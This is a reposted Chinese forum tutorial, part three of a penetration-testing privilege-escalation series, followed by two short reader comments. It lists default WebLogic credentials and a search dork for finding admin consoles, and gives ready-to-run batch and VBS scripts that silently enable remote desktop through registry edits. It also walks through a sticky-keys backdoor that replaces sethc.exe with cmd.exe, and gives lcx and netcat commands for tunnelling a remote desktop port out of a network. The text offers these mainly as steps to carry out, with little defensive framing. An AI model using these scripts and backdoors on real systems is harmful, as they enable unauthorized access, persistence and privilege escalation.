渗透测试技术基础——提权技术基础大全(三)

网络安全观察者 2016-07-20 02:57:16
0x05 WebServer中间件提权
Tomcat
Tomcat服务在windows下常常是以系统权限启动的,所以我们要是可以继承tomcat的权限就能达到提权的目的。
Tomcat服务通常在8080端口会有service的管理页面,通常地址为:
<font size="3">http://10.0.0.1:8080/manager/html</font>
复制代码
这个登录界面有一个配置文件,默认在:
[size=3]/tomcat/conf/tomcat-user.xml[/size]
复制代码
Google关键字:
WebLogic Server Administration Console inurl:console/login

默认的用户/名密码:
1、用户名密码均为:weblogic
2、用户名密码均为:system
3、用户名密码均为:portaladmin
4、用户名密码均为:guest

上传位置:
workshop
> 部署/Deployments
> Web应用程序
> 部署新的 Web 应用程序模块…



类似的webserver还有很多,例如:
WebSphere、JOnAS、Resin等等。
大部分都是可以部署一个war包或者通过上传可以获得webshell的,就不一一演示了。

开启3389远程桌面
[size=3]echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
[/size]
复制代码
保存成bat然后想办法执行。
什么?你说不满足......还想要个VBS版的满足一下?
[size=3]on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next[/size]
复制代码
替换sethc.exe留后门
在登陆远程桌面输入账号密码之前的时候,我们有几个操作是可以与系统中一些文件有交互的。例如粘滞键错误,放大镜,屏幕保护。这些项启动都是以系统权限启动的。所以我们可以利用这个思路作为后门和提权。




<font size="3">c:\windows\system32\sethc.exe
c:\windows\system32\dllcache\sethc.exe
</font>
复制代码
可以使用bat进行替换:(*先将原文件改名)
<div style="line-height: 1.5;"><font size="3">copy c:\xxx.exe </font></div><div style="line-height: 1.5;"><font size="3">c:\windows\system32\sethc.exe /y</font></div><div style="line-height: 1.5;"><font size="3">copy c:\xxx.exe </font></div><div style="line-height: 1.5;"><font size="3">c:\windows\system32\dllcache\sethc.exe </font></div>
复制代码

我们替换些什么文件好呢?
当然是Cmd.exe、explorer.exe等。




端口转发
Lcx.exe




lcx -listen 250 2550


lcx -slave 192.168.16.77 250 127.0.0.1 3389



Nc.exe



nc -l -vv -p 250


本文地址:http://bbs.ichunqiu.com/thread-8434-1-1.html?from=csdn
...全文
2232 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
qq_34822300 2019-02-27
  • 打赏
  • 举报
回复
能留个联系方式吗
qq_34822300 2019-02-27
  • 打赏
  • 举报
回复
大佬。 在吗

488

社区成员

发帖
与我相关
我的任务
社区描述
硬件使用 非技术区
社区管理员
  • 非技术区社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧